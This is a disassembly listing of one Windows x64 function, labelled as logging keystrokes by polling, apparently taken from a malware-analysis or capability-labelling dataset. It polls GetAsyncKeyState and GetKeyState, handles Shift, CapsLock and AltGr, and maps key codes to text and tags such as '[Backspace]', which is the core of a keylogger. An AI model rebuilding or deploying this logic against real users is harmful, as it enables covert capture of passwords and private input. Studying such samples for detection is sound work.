Function at 0x140001a20
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x160
mov rax, qword [0x14001f040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov esi, edx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetKeyboardState]
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
shr edi, 0xf
and dil, 1
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebp, ax
and bpl, 1
mov ecx, 0xa5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140001aab
mov ecx, 0xa2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140001aab
mov r8b, 1
jmp 0x140001aae
xor r8b, r8b
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x14001bc00]
movdqu xmmword [rsp + 0x40], xmm1
mov byte [rsp + 0x30], r14b
lea eax, [rsi - 0x41]
cmp eax, 0x19
ja 0x140001b3a
test bpl, bpl
je 0x140001b2f
test dil, dil
jne 0x140001b34
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x14001bc10]
movsx eax, sil
movzx eax, al
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
movups xmm2, xmmword [rsp + 0x30]
movups xmmword [rbx], xmm2
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140002740
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
test dil, dil
jne 0x140001adb
add sil, 0x20
jmp 0x140001adb
cmp esi, 0x30
jb 0x140001b44
cmp esi, 0x39
jbe 0x140001adb
add esi, 0xfffffff8
cmp esi, 0xda
ja case.0x140001b6a.10
lea r9, [0x140000000]
movzx ecx, byte [r9 + rsi + 0x1fbc]
mov edx, dword [r9 + rcx*4 + 0x1f58]
add rdx, r9
jmp rdx
lea rax, [0x14001bb24]
lea rdx, [0x14001bb28]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
test r8b, r8b
je 0x140001ba7
lea rdx, str.__2________.
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bb30]
lea rdx, [0x14001bb34]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bb38]
lea rdx, [0x14001bb3c]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bb40]
lea rdx, [0x14001bb44]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rcx, [0x14001bb48]
lea rdx, [0x14001bb4c]
test dil, dil
cmovne rdx, rcx
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bb50]
lea rdx, [0x14001bb54]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bb30]
lea rdx, [0x14001bb58]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bb5c]
lea rdx, [0x14001bb60]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rcx, [0x14001bb64]
lea rdx, [0x14001bb68]
test dil, dil
cmovne rdx, rcx
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bb6c]
lea rdx, [0x14001bb70]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bb74]
lea rdx, [0x14001bb78]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Enter_]
movsd qword [rbx], xmm0
movzx eax, byte [0x14001bb88]
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xa
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Delete_]
movsd qword [rbx], xmm0
movzx eax, word [0x14001bb98]
mov word [rbx + 8], ax
mov byte [rbx + 0xa], 0
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xb
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Windows_]
movsd qword [rbx], xmm0
movzx eax, word [0x14001bba8]
mov word [rbx + 8], ax
movzx eax, byte [0x14001bbaa]
mov byte [rbx + 0xa], al
mov byte [rbx + 0xb], 0
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xd
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Backspace_]
movsd qword [rbx], xmm0
mov eax, dword [0x14001bbb8]
mov dword [rbx + 8], eax
movzx eax, byte [0x14001bbbc]
mov byte [rbx + 0xc], al
mov byte [rbx + 0xd], 0
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.__Alt_]
mov dword [rbx], eax
movzx eax, word [0x14001bbc4]
mov word [rbx + 4], ax
movzx eax, byte [0x14001bbc6]
mov byte [rbx + 6], al
mov byte [rbx + 7], 0
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.__Tab_]
mov dword [rbx], eax
movzx eax, word [0x14001bbcc]
mov word [rbx + 4], ax
movzx eax, byte [0x14001bbce]
mov byte [rbx + 6], al
mov byte [rbx + 7], 0
jmp 0x140001b04
lea rdx, str.__Space_
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.__Up_]
mov dword [rbx], eax
movzx eax, word [0x14001bbe0]
mov word [rbx + 4], ax
mov byte [rbx + 6], 0
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], 0xf
movabs rax, 0x205d6e776f445b20
mov qword [rbx], rax
mov byte [rbx + 8], 0
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], 0xf
movabs rax, 0x205d7466654c5b20
mov qword [rbx], rax
mov byte [rbx + 8], 0
jmp 0x140001b04
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Right_]
movsd qword [rbx], xmm0
movzx eax, byte [0x14001bbf0]
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
jmp 0x140001b04
lea rax, [0x14001bb4c]
lea rdx, [0x14001bb64]
test r8b, r8b
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04
lea rax, [0x14001bbf4]
lea rdx, [0x14001ba00]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001b04